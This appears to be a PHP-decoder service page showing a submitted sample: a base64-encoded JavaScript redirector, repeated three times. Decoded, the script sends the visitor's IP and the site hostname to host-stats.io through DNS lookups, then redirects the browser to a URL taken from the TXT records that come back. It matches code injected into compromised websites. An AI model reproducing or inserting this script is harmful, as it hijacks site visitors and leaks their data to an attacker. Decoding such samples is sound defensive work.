Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ..

Decoded Output download

<?  <script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcuaG9zdC1zdGF0cy5pbyZ0eXBlPXR4dCcpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgICAgIGlmIChkYXRhLkFuc3dlciA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG8gPSAiIjsNCiAgICAgICAgICAgICAgICBkYXRhLkFuc3dlci5mb3JFYWNoKGVsZW1lbnQgPT4gew0KICAgICAgICAgICAgICAgICAgICBpZiAoZWxlbWVudC50eXBlID09IDE2KSBvICs9IGVsZW1lbnQuZGF0YTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICBvID0gYXRvYihvKTsNCiAgICAgICAgICAgICAgICBpZiAoIW8ubGVuZ3RoKSByZXR1cm47DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uobyk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgICk7DQp9KSgp"></script> ?>

Did this file decode correctly?

Original Code

<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcuaG9zdC1zdGF0cy5pbyZ0eXBlPXR4dCcpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgICAgIGlmIChkYXRhLkFuc3dlciA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG8gPSAiIjsNCiAgICAgICAgICAgICAgICBkYXRhLkFuc3dlci5mb3JFYWNoKGVsZW1lbnQgPT4gew0KICAgICAgICAgICAgICAgICAgICBpZiAoZWxlbWVudC50eXBlID09IDE2KSBvICs9IGVsZW1lbnQuZGF0YTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICBvID0gYXRvYihvKTsNCiAgICAgICAgICAgICAgICBpZiAoIW8ubGVuZ3RoKSByZXR1cm47DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uobyk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgICk7DQp9KSgp"></script>

Function Calls

None

Variables

None

Stats

MD5 b3b31d58f45ac519bba1a6ce7b39aac7
Eval Count 0
Decode Time 54 ms